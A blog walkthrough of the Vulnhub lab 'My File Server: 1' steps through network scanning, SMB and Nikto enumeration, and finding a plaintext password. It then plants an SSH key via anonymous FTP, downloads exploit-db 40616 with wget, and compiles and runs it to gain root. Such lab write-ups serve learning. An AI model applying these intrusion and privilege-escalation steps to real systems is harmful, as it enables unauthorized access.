My File Server: 1 Vulnhub Walkthrough


Lab Environment

Attacker's Machine: Linux kali 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-3kali1 (2019-11-20) x86_64 GNU/Linux

Victim's Machine: My File Server: 1


Mapping the local network to determine the IP of vulnerable machine.
Command Used: arp-scan --local

Nmap Scan
Command Used: nmap -A Victim's IP
Results: samba service on port 445

After knowing the samba service is active I fired up smbmap to enumerate it further.
Command Used: smbmap -H Victim's IP
Result: username - smbuser

I decided for further enumeration and used Nikto to scan the target.
Command Used: nikto -h Victim's IP
Results: /readme.txt

Visited the url to view if something useful can be found in readme.txt
Results: my password is rootroot1

Now I am having username "smbuser" and password "rootroot1" to connect to victim's machine via ssh and when tried to connect it timed out my connection.
So, I thought of generating ssh public keys without password with ssh-keygen and then transfer it to 
victim's machine using ftp as ftp anonymous login is allowed.


Now, it's time to connect again to the victim's machine using Username as "smbuser".
Command Used: ssh smbuser@victim's ip 
Results: Connected to the machine without a password and got a shell.

Enumerated kernel version of the machine to gain the root privileges.
Command Used: uname -a 
Results: we got the kernel version and got the exploit on exploit-db 
Exploit: https://www.exploit-db.com/exploits/40616


Now, Downloaded the exploit on victim's machine using wget 
Command Used: wget url of exploit

Exploit page on exploit-db shows the information on how to compile and execute the exploit.

The file I downloaded was not having .c extension so I renamed it 
Command Used: mv 40616 40616.c and compiled the exploit by using gcc 40616.c -o paras -pthread
and ran the exploit by using ./paras 
Results: Gained the root access 



Finally, Read the flag 
Command Used: cat proof.txt
















Popular posts from this blog

Calculat3 M3 | CTF Learn

TryHackme: Blue Walkthrough

CTF - Dina : 1.0.1 walkthrough